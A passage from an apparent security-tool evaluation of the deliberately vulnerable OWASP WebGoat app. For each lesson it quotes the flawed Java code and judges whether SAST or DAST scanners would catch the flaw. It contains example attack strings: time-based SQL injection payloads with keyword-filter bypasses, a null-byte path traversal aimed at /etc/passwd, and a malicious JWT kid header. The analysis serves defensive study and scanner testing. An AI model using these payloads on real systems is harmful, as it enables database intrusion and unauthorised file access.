Injection.\n\n**DAST Reasoning:**\n\nDAST tools should attempt to inject into the `userid_6a` parameter, leading to exploitable SQL Injection.\n\n**Example Attack:**\n- `userid_6a=1'+or+1%3D1--`\n\n---\n\n### (A1) Injection > SQL Injection (advanced) > (no title)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjectionAdvanced.lesson/4\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java\n\n**Lesson:**\n\nThis lesson is a challenge to attempt to extract data from the database that leads to the attacker being able to login as a different user by executing SQL Injection attacks.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java#L63-65\n\nString checkUserQuery = \"select userid from sql_challenge_users where userid = '\" + username_reg + \"'\";\nStatement statement = connection.createStatement();\nResultSet resultSet = statement.executeQuery(checkUserQuery);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe `username_reg` user supplied value is dynamically assigned to a query string, leading to SQL Injection.\n\n**DAST Reasoning:**\n\nDAST tools should attempt to inject into the `username_reg` parameter with a timing or blind sql injection based attack string, leading to exploitable SQL Injection.\n\n**Example Attack:**\n- `username_reg='%2b(select+repeat('a', 50000000)+from+information_schema.tables)%2b'&email_reg=asdf&password_reg=asdf&confirm_password_reg=asdf`\n\n---\n\n### (A1) Injection > SQL Injection (mitigation) > Input validation alone is not enough!! (Lesson 9)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjectionMitigations.lesson/8\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlOnlyInputValidation.java\n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java\n\n**Lesson:** \n\nThis lesson demonstrates filtering of user input not being sufficient for protecting against SQL injection attacks. This particular case looks to see if the input string contains a space and returns an error if it does. \n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlOnlyInputValidation.java#L48-L52\n\npublic AttackResult attack(@RequestParam(\"userid_sql_only_input_validation\") String userId) {\nif (userId.contains(\" \")) {\n    return failed(this).feedback(\"SqlOnlyInputValidation-failed\").build();\n}\nAttackResult attackResult = lesson6a.injectableQuery(userId);\n...\n\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java#56-67\n\npublic AttackResult injectableQuery(String accountName) {\n    String query = \"\";\n    try (Connection connection = dataSource.getConnection()) {\n        boolean usedUnion = true;\n        query = \"SELECT * FROM user_data WHERE last_name = '\" + accountName + \"'\";\n        //Check if Union is used\n        if (!accountName.matches(\"(?i)(^[^-/*;)]*)(\\\\s*)UNION(.*$)\")) {\n            usedUnion = false;\n        }\n        try (Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                ResultSet.CONCUR_READ_ONLY)) {\n            ResultSet results = statement.executeQuery(query);\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nSAST tools would most likely be flag this as a flaw existing under the `webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java` class. The `SqlOnlyInputValidation.java` file is calling the same method, but the vulnerability exists in `SqlInjectionLesson6a.java`. Where the flaw is reported depends on how the SAST tool was designed. For example if the SAST tool is capable of tracking taint across intra-procedural calls it may flag the call to `lesson6a.injectableQuery(userId)` on line 52. If the SAST tool was designed to only parse the Abstract Syntax Tree (AST) it may only report the flaw in `SqlInjectionLesson6a.java` on line 67.\n\n**DAST Reasoning:**\n\nAny input filtering done on potential attack vectors makes it more difficult for DAST tools to identify exploitable issues. There is a chance some DAST tools would not find the `userid_sql_only_input_validation` parameter vulnerable to SQL Injection.\n\n**Example Attack:**\n- `userid_sql_only_input_validation='%2b(SELECT/**/repeat(char(60),50000000)from/**/information_schema.tables)%2b'`\n\n---\n\n### (A1) Injection > SQL Injection (mitigation) > Input validation alone is not enough!! (Lesson 10)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjectionMitigations.lesson/9\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlOnlyInputValidationOnKeywords.java\n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java\n\n**Lesson:** \n\nThis lesson demonstrates filtering of user input not being sufficient for protecting against SQL Injection attacks. This particular case looks to see if the input string contains `SELECT` or `FROM` keywords and replaces them with empty strings, it additionally checks if the input contains a space and returns an error if it does. \n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlOnlyInputValidationOnKeywords.java#L48-L53\n\npublic AttackResult attack(@RequestParam(\"userid_sql_only_input_validation_on_keywords\") String userId) {\n    userId = userId.toUpperCase().replace(\"FROM\", \"\").replace(\"SELECT\", \"\");\n    if (userId.contains(\" \")) {\n        return failed(this).feedback(\"SqlOnlyInputValidationOnKeywords-failed\").build();\n    }\n    AttackResult attackResult = lesson6a.injectableQuery(userId);\n    ...\n\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java#56-67\n\npublic AttackResult injectableQuery(String accountName) {\n    String query = \"\";\n    try (Connection connection = dataSource.getConnection()) {\n        boolean usedUnion = true;\n        query = \"SELECT * FROM user_data WHERE last_name = '\" + accountName + \"'\";\n        //Check if Union is used\n        if (!accountName.matches(\"(?i)(^[^-/*;)]*)(\\\\s*)UNION(.*$)\")) {\n            usedUnion = false;\n        }\n        try (Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                ResultSet.CONCUR_READ_ONLY)) {\n            ResultSet results = statement.executeQuery(query);\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nSAST tools would most likely flag this as a flaw existing under the `webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java` class. The `SqlOnlyInputValidationOnKeywords.java` file is calling the same method, but the vulnerability exists in `SqlInjectionLesson6a.java`. Where the flaw is reported depends on how the SAST tool was designed. For example if the SAST tool is capable of tracking taint across intra-procedural calls it may flag the call to `lesson6a.injectableQuery(userId)` on line 53. If the SAST tool was designed to only parse the Abstract Syntax Tree (AST) it may only report the flaw in `SqlInjectionLesson6a.java` on line 67.\n\n**DAST Reasoning:**\n\nAny input filtering done on potential attack vectors makes it much more difficult for DAST tools to identify exploitable issues. There is a good chance most DAST tools would not find the `userid_sql_only_input_validation_on_keywords` parameter vulnerable.\n\n**Example Attack:**\n- `userid_sql_only_input_validation_on_keywords='%2b(SELselectECT/**/repeat(char(60),50000000)FRfromOM/**/information_schema.tables)%2b'`\n\n---\n\n### (A1) Injection > SQL Injection (mitigation) > (no title) (Lesson 12)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjectionMitigations.lesson/11\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java\n\n**Lesson:** \n\nThis lesson includes a SQL Injection vulnerability in a column field of a SQL query, which can not be specified by a parameter in a parameterized query. As such, it uses a dynamically generated query string with user input for specifying the column name.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java#L69-L74\n\n public List\u003CServer> sort(@RequestParam String column) throws Exception {\n    List\u003CServer> servers = new ArrayList\u003C>();\n\n    try (Connection connection = dataSource.getConnection();\n            PreparedStatement preparedStatement = connection.prepareStatement(\"select id, hostname, ip, mac, status, description from servers  where status \u003C> 'out of order' order by \" + column)) {\n        ResultSet rs = preparedStatement.executeQuery();\n        ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nWhile the SQL query is a prepared statement, the column field can not be specified as a `parameter` in a parameterized query. A SAST tool should identify that the query string is concatenated with user input on line 73.\n\n**DAST Reasoning:**\n\nA DAST tool, if it is able to find the `/WebGoat/SqlInjectionMitigations/servers` endpoint, should be able to exploit the column based SQL injection issue.\n\n**Example Attack:**\n- `/WebGoat/SqlInjectionMitigations/servers?column=(select+repeat('a',50000000)+from+information_schema.tables)`\n\n---\n\n### (A1) Injection > Path traversal > Path traversal while uploading files\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/PathTraversal.lesson/1\n\n**Source:** \n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUpload.java\n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java\n\n**Lesson:** \n\nThis lesson's goal is to upload a file to overwrite a system file. It uses a common insecure pattern of using user input to generate a file path and supplying the file contents to create a new file.\n\n```\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUpload.java#L31-L32\n\npublic AttackResult uploadFileHandler(@RequestParam(\"uploadedFile\") MultipartFile file, @RequestParam(value = \"fullName\", required = false) String fullName) {\n    return super.execute(file, fullName);\n}\n\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java#L41-43\n\nvar uploadedFile = new File(uploadDirectory, fullName);\nuploadedFile.createNewFile();\nFileCopyUtils.copy(file.getBytes(), uploadedFile);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool should be able to identify that the `new File` call's second parameter is tainted from the `uploadFileHandler` `fullName` parameter. \n\n**DAST Reasoning:**\n\nDAST tools have difficulties identifying insecure file upload path traversal attacks. As the attack is a two-step process, the tool most likely will not be able to identify where the uploaded file ultimately resides on the file system. The first step is uploading the file, while the second is for identifying where the uploaded file exists and attempting to access it. \n\nIn this lesson there is no way to retrieve a non `.jpg` suffixed file. The `var catPicture = new File(catPicturesDirectory, (id == null ? RandomUtils.nextInt(1, 11) : id) + \".jpg\");` limits what can be retrieved. Additionally, the only way to attempt to access uploaded files is through a completely unrelated web page. A DAST tool would not understand the relationship between the upload endpoint and the retrieval endpoint. \n\nWhile it is possible to attempt null byte attacks if the string contains `path-traversal-secret.jpg` the `FileCopyUtils` method uses `java.io.File.toPath` which disallows null bytes. For example attempting the attack: `/WebGoat/PathTraversal/random-picture?id=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd%00path-traversal-secret.jpg%00` will fail with the error: `java.nio.file.InvalidPathException: Nul character not allowed`.\n\nGiven the above, while it is possible to upload arbitrary files, it is not possible to access them, hence a DAST tool would be unable to identify this as a flaw. A human of course could use various techniques to attempt to overwrite system files, but a DAST tool is not built for such activities. \n\n---\n\n### (A1) Injection > Path traversal > Path traversal while uploading files (lesson 3)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/PathTraversal.lesson/2\n\n**Source:** \n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadFix.java\n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java\n\n**Lesson:** \n\nThis lesson's goal is to upload a file to overwrite a system file. It uses a common insecure pattern of using user input to generate a file path and supply the file contents to create a new file. In this lesson filtering is done on user input, replacing `../` with an empty string.\n\n```\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadFix.java#L24-L28\n\n    public AttackResult uploadFileHandler(\n            @RequestParam(\"uploadedFileFix\") MultipartFile file,\n            @RequestParam(value = \"fullNameFix\", required = false) String fullName) {\n        return super.execute(file, fullName != null ? fullName.replace(\"../\", \"\") : \"\");\n    }\n\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java#L41-43\n\nvar uploadedFile = new File(uploadDirectory, fullName);\nuploadedFile.createNewFile();\nFileCopyUtils.copy(file.getBytes(), uploadedFile);\n```\n\n**Can SAST Find?** \n- Yes\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool should be able to identify that the `new File` call's second parameter is tainted from the `uploadFileHandler` `fullName` parameter. \n\n**DAST Reasoning:**\n\nDAST tools have difficulties identifying insecure file upload path traversal attacks. As the attack is a two-step process, the tool most likely will not be able to identify where the uploaded file ultimately resides on the file system. The first step is uploading the file, while the second is for identifying where the uploaded file exists and attempting to access it. \n\nIn this lesson there is no way to retrieve a non `.jpg` suffixed file. The `var catPicture = new File(catPicturesDirectory, (id == null ? RandomUtils.nextInt(1, 11) : id) + \".jpg\");` limits what can be retrieved. Additionally, the only way to attempt to access uploaded files is through a completely unrelated web page. A DAST tool would not understand the relationship between the upload endpoint and the retrieval endpoint. \n\nWhile it is possible to attempt null byte attacks if the string contains `path-traversal-secret.jpg` the `FileCopyUtils` method uses `java.io.File.toPath` which disallows null bytes. For example attempting the attack: `/WebGoat/PathTraversal/random-picture?id=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd%00path-traversal-secret.jpg%00` will fail with the error: `java.nio.file.InvalidPathException: Nul character not allowed`.\n\nGiven the above, while it is possible to upload arbitrary files, it is not possible to access them, hence a DAST tool would be unable to identify this as a flaw. A human of course could use various techniques to attempt to overwrite system files, but a DAST tool is not built for such activities. \n\n---\n\n### (A1) Injection > Path traversal > Path traversal while uploading files (lesson 4)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/PathTraversal.lesson/3\n\n**Source:** \n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadRemoveUserInput.java\n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java\n\n**Lesson:** \n\nThis lessons goal is to upload a file to overwrite a system file. It uses a common insecure pattern of using user input to generate a file path and supplying the file contents to create a new file. In this lesson the filename is taken from the `MultipartFile.getOriginalFilename()` which is still user input, as it is possible to modify the filename part of a Multipart upload:\n```\nContent-Disposition: form-data; name=\"uploadedFileRemoveUserInput\"; filename=\"../../test.html\"\n```\n\n```\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadRemoveUserInput.java#L24-L28\n\npublic AttackResult uploadFileHandler(\n        @RequestParam(\"uploadedFileFix\") MultipartFile file,\n        @RequestParam(value = \"fullNameFix\", required = false) String fullName) {\n    return super.execute(file, fullName != null ? fullName.replace(\"../\", \"\") : \"\");\n}\n\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java#L41-43\n\nvar uploadedFile = new File(uploadDirectory, fullName);\nuploadedFile.createNewFile();\nFileCopyUtils.copy(file.getBytes(), uploadedFile);\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool should be able to identify that the `new File` call's second parameter is tainted from the uploadFileHandler fullName parameter, which originates from the `MultipartFile.getOriginalFilename()` from `ProfileUploadRemoveUserInput.java`. \n\n**DAST Reasoning:**\n\nDAST tools have difficulties identifying insecure file upload path traversal attacks. As the attack is a two-step process, the tool most likely will not be able to identify where the uploaded file ultimately resides on the file system. The first step is uploading the file, while the second is for identifying where the uploaded file exists and attempting to access it. \n\nIn this lesson there is no way to retrieve a non `.jpg` suffixed file. The `var catPicture = new File(catPicturesDirectory, (id == null ? RandomUtils.nextInt(1, 11) : id) + \".jpg\");` limits what can be retrieved. Additionally, the only way to attempt to access uploaded files is through a completely unrelated web page. A DAST tool would not understand the relationship between the upload endpoint and the retrieval endpoint. \n\nWhile it is possible to attempt null byte attacks if the string contains `path-traversal-secret.jpg` the `FileCopyUtils` method uses `java.io.File.toPath` which disallows null bytes. For example attempting the attack: `/WebGoat/PathTraversal/random-picture?id=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd%00path-traversal-secret.jpg%00` will fail with the error: `java.nio.file.InvalidPathException: Nul character not allowed`.\n\nGiven the above, while it is possible to upload arbitrary files, it is not possible to access them, hence a DAST tool would be unable to identify this as a flaw. A human of course could use various techniques to attempt to overwrite system files, but a DAST tool is not built for such activities. \n\n---\n\n### (A1) Injection > Path traversal > Retrieving other files with a path traversal\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/PathTraversal.lesson/4\n\n**Source:** \n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadRemoveUserInput.java\n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java\n\n**Lesson:** \n\nThis lesson's goal is to retrieve a particular file from the file system. It uses a rather uncommon method of validating the entire query string via `request.getQueryString()` to see if it contains `..` or `/`. While technically the call to `new File` is vulnerable to path traversal attacks, it is not actually an exploitable arbitrary local file inclusion vulnerability. It can only return files which are jpg's, and null-byte attacks are not possible due to calls to FileCopyUtils which validates that the path does not contain null bytes.\n\n```\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadRemoveUserInput.java#L75-94\n\npublic ResponseEntity\u003C?> getProfilePicture(HttpServletRequest request) {\n    var queryParams = request.getQueryString();\n    if (queryParams != null && (queryParams.contains(\"..\") || queryParams.contains(\"/\"))) {\n        return ResponseEntity.badRequest().body(\"Illegal characters are not allowed in the query params\");\n    }\n    try {\n        var id = request.getParameter(\"id\");\n        var catPicture = new File(catPicturesDirectory, (id == null ? RandomUtils.nextInt(1, 11) : id) + \".jpg\");\n\n        if (catPicture.getName().toLowerCase().contains(\"path-traversal-secret.jpg\")) {\n            return ResponseEntity.ok()\n                    .contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE))\n                    .body(FileCopyUtils.copyToByteArray(catPicture));\n        }\n        if (catPicture.exists()) {\n            return ResponseEntity.ok()\n                    .contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE))\n                    .location(new URI(\"/PathTraversal/random-picture?id=\" + catPicture.getName()))\n                    .body(Base64.getEncoder().encode(FileCopyUtils.copyToByteArray(catPicture)));\n        }\n    ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool should be able to identify that the `new File` call's second parameter is tainted. However, the File object is only used in calls to either `getName()` or `FileCopyUtils` which validates that the filename does not contain null bytes. So while it's technically vulnerable, it is not exploitable for arbitrary file access.\n\n**DAST Reasoning:**\n\nDAST tools have difficulties identifying insecure file upload path traversal attacks. As the attack is a two-step process, the tool most likely will not be able to identify where the uploaded file ultimately resides on the file system. The first step is uploading the file, while the second is for identifying where the uploaded file exists and attempting to access it. \n\nIn this lesson there is no way to retrieve a non `.jpg` suffixed file. The `var catPicture = new File(catPicturesDirectory, (id == null ? RandomUtils.nextInt(1, 11) : id) + \".jpg\");` limits what can be retrieved. \n\nWhile it is possible to attempt null byte attacks if the string contains `path-traversal-secret.jpg` the `FileCopyUtils` method uses `java.io.File.toPath`, which disallows null bytes. For example attempting the attack: `/WebGoat/PathTraversal/random-picture?id=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd%00path-traversal-secret.jpg%00` will fail with the error: `java.nio.file.InvalidPathException: Nul character not allowed`.\n\nGiven the above, a DAST tool would most likely be unable to identify this as a flaw. Most DAST tools use hardcoded filepaths such as `/etc/passwd` or `c:/windows/win.ini` when attempting to access arbitrary files.\n\n---\n\n\u003C/details>\n\n## (A2) Broken Authentication\n\n---\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### (A2) Broken Authentication > Authentication Bypasses > 2FA Password Reset\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/AuthBypass.lesson/1\n\n**Source:** \n- webgoat-lessons/auth-bypass/src/main/java/org/owasp/webgoat/auth_bypass/AuthBypass.java\n- webgoat-lessons/auth-bypass/src/main/java/org/owasp/webgoat/auth_bypass/AccountVerificationHelper.java\n\n**Lesson:**\nThis lesson is for bypassing 2FA password reset by removing POST parameters.\n\n```\nwebgoat-lessons/auth-bypass/src/main/java/org/owasp/webgoat/auth_bypass/AccountVerificationHelper.java#L69-86\n\npublic boolean verifyAccount(Integer userId, HashMap\u003CString, String> submittedQuestions) {\n    //short circuit if no questions are submitted\n    if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) {\n        return false;\n    }\n\n    if (submittedQuestions.containsKey(\"secQuestion0\") && !submittedQuestions.get(\"secQuestion0\").equals(secQuestionStore.get(verifyUserId).get(\"secQuestion0\"))) {\n        return false;\n    }\n\n    if (submittedQuestions.containsKey(\"secQuestion1\") && !submittedQuestions.get(\"secQuestion1\").equals(secQuestionStore.get(verifyUserId).get(\"secQuestion1\"))) {\n        return false;\n    }\n\n    // else\n    return true;\n\n}\n\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThis lesson is a hypothetical case where it 'fails open.' In other words by not submitting the validated parameters, the checks are never executed and the verifyAccount method returns true.\n\nSAST tools can not determine 'reasoning' of a methods purpose. This method is not wired into any obvious framework or method that would hint for the SAST tool to know it's for authentication purposes.\n\n**DAST Reasoning:**\n\nMuch like above, this is a hypothetical case. There is no context around the lesson that could assist a DAST tool in knowing it's testing a password reset function. \n\n---\n\n### (A2) Broken Authentication > JWT tokens > JWT signing\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/JWT.lesson/3\n\n**Source:** \n- webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTVotesEndpoint.java\n\n**Lesson:**\nThis lesson is for modifying JWT claims to impersonate or elevate privileges. It is a multi-step process. First to get a JWT value you need to use the fake 'login' `/JWT/votings/login?user=` endpoint, which sets it in an HTTP cookie. Next, the goal is to bypass authorization checks and reset the votes by issuing a POST request to the `/JWT/votings` with a modified token. The modifications require setting the alg to None and changing the admin parameter to true. \n\n```\nwebgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTVotesEndpoint.java#L163-165\n\nJwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);\nClaims claims = (Claims) jwt.getBody();\nboolean isAdmin = Boolean.valueOf((String) claims.get(\"admin\"));\n```\n\n**Can SAST Find?** \n- Probable\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nA SAST tool would need to be used in conjunction with a dependency scanning solution that looked for vulnerable libraries. This vulnerability exists due to the dependency on `io.jsonwebtoken` version 0.7.0. Using static analysis alone would be difficult for a SAST tool to identify that the `setSigningKey` would be ignored if the algorithm was set to `None`. Additionally, authorization issues are usually difficult for SAST to identify in terms of simple conditional statements.  \n\n**DAST Reasoning:**\n\nVulnerabilities that require multiple steps are usually difficult for DAST tools to identify. If the JWT was used in an authentication endpoint, it may be possible for a DAST tool to identify a vulnerability. It would attempt to modify the JWT and determine if it was able to successfully login. A DAST tool would be unable to determine that the secondary `/JWT/votings` endpoint suffers from verification flaw.\n\n---\n\n### (A2) Broken Authentication > JWT tokens > JWT cracking\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/JWT.lesson/4\n\n**Source:** \n- webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTSecretKeyEndpoint.java\n\n**Lesson:**\nThis lesson is for cracking a JWT value which uses an insecure cryptographic algorithm. `HS256` JWT values include a signature which can generated and compared by brute forcing tools. \n\n```\nwebgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTSecretKeyEndpoint.java#L57-68\n\npublic String getSecretToken() {\n    return Jwts.builder()\n            .setIssuer(\"WebGoat Token Builder\")\n            .setAudience(\"webgoat.org\")\n            .setIssuedAt(Calendar.getInstance().getTime())\n            .setExpiration(Date.from(Instant.now().plusSeconds(60)))\n            .setSubject(\"tom@webgoat.org\")\n            .claim(\"username\", \"Tom\")\n            .claim(\"Email\", \"tom@webgoat.org\")\n            .claim(\"Role\", new String[]{\"Manager\", \"Project Administrator\"})\n            .signWith(SignatureAlgorithm.HS256, JWT_SECRET).compact();\n    }\n\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nA SAST tool that included this particular `Jwts` library signatures would be able to identify that the `signWith` method is a potential sink and the first parameter determines if a vulnerability exists, depending on the argument's value.\n\n**DAST Reasoning:**\n\nA DAST tool with builtin JWT cracking functionality would be able to extract JWT values encountered during crawling and attempt to brute force the signature. Note the ability to actually determine vulnerability would be dependent on the weakness of the JWT key used for signing.\n\n---\n\n### (A2) Broken Authentication > JWT tokens > Refreshing a token (incomplete lesson)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/JWT.lesson/6\n\n**Source:** \n- webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTRefreshEndpoint.java\n\n**Lesson:**\n\nThis lesson as of v8.1.0 is still incomplete, as the lesson page details do not give enough information to solve. Only by looking at the source and getting the username/password can one solve this challenge. The underlying flaw is that the application does not properly associate refresh tokens with access tokens, allowing one who has captured a leaked refresh token to update someone else's access token.\n\n```\nwebgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTRefreshEndpoint.java#L116-122\n\ntry {\n    Jwt\u003CHeader, Claims> jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace(\"Bearer \", \"\"));\n    user = (String) jwt.getBody().get(\"user\");\n    refreshToken = (String) json.get(\"refresh_token\");\n} catch (ExpiredJwtException e) {\n    user = (String) e.getClaims().get(\"user\");\n    refreshToken = (String) json.get(\"refresh_token\");\n}\n...\n```\n\n**Can SAST Find?** \n- Improbable\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nA SAST tool would not be able to reason the logic behind requiring the access token and refresh token to be linked unless this logic was built into the JWT library. It could be possible with a very strictly defined set of a rule sets to find this flaw, but it is highly improbable. \n\n**DAST Reasoning:**\n\nA DAST tool could be configured to contain two user accounts and authorize to get both tokens. It could then attempt to switch one user's refresh token with the secondary user and determine if the server responded with a new access token. \n\n---\n\n### (A2) Broken Authentication > JWT tokens > Final challenges\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/JWT.lesson/7\n\n**Source:** \n- webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTFinalEndpoint.java\n\n**Lesson:**\nThis lesson is a highly improbable series of events that could lead to overwriting a signing key stored in a database. The underlying vulnerability here is actually SQL injection that is exploitable by modifying the `kid` JWT field. \n\n```\nL162-176\nJwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() {\n    @Override\n    public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {\n        final String kid = (String) header.get(\"kid\");\n        try (var connection = dataSource.getConnection()) {\n            ResultSet rs = connection.createStatement().executeQuery(\"SELECT key FROM jwt_keys WHERE id = '\" + kid + \"'\");\n            while (rs.next()) {\n                return TextCodec.BASE64.decode(rs.getString(1));\n            }\n        } catch (SQLException e) {\n            errorMessage[0] = e.getMessage();\n        }\n        return null;\n    }\n}).parseClaimsJws(token);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nA SAST tool would flag this particular issue as a SQL injection flaw. SAST tools with taint tracking capabilities, or one that has added signatures for sources and sinks of this JWT library, could follow that the token was decoded and the `kid` came from user input. It would then identify on line 167 user supplied input was used in generation of a dynamically generated SQL query. SAST tools which take a more grep like approach, would most likely flag line 167 as the vulnerability since string concatenation used in a SQL query.\n\n**DAST Reasoning:**\n\nA DAST tool could be configured to decode JWT claims and attempt SQL injection in the various fields.\n\n**Example Attack:**\n- Decode JWT\n- Modify the JWT header\n```\n{\n  \"typ\": \"JWT\",\n  \"kid\": \"'+(select repeat('a',50000000) from INFORMATION_SCHEMA.tables)+'\",\n  \"alg\": \"HS256\"\n}\n```\n- Re-encode the token\n- Send request during a timing attack verification phase.\n\n---\n\n### (A2) Broken Authentication > Password reset > Security questions\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/PasswordReset.lesson/3\n\n**Source:** \n- webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/QuestionsAssignment.java\n\n**Lesson:**\n\nThis lesson is to demonstrate the ability of guessing or brute forcing security questions. The users and security questions are hardcoded. The goal is to guess one of them.\n\n```\nwebgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/QuestionsAssignment.java#L45-51\n\nstatic {\n    COLORS.put(\"admin\", \"green\");\n    COLORS.put(\"jerry\", \"orange\");\n    ...\n}\n\nwebgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/QuestionsAssignment.java#L63-68\n\nString validAnswer = COLORS.get(username.toLowerCase());\nif (validAnswer == null) {\n    return failed(this).feedback(\"password-questions-unknown-user\").feedbackArgs(username).build();\n} else if (validAnswer.equals(securityQuestion)) {\n    return success(this).build();\n}\n```\n\n**Can SAST Find?**\n- Impossible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool would be unable to determine that this lesson has any relation to login logic as it's doing a simple existence check of inputs against a map value.\n\n**DAST Reasoning:**\n\nA DAST tool would need to be configured to treat this form as a login form for it to detect any potential 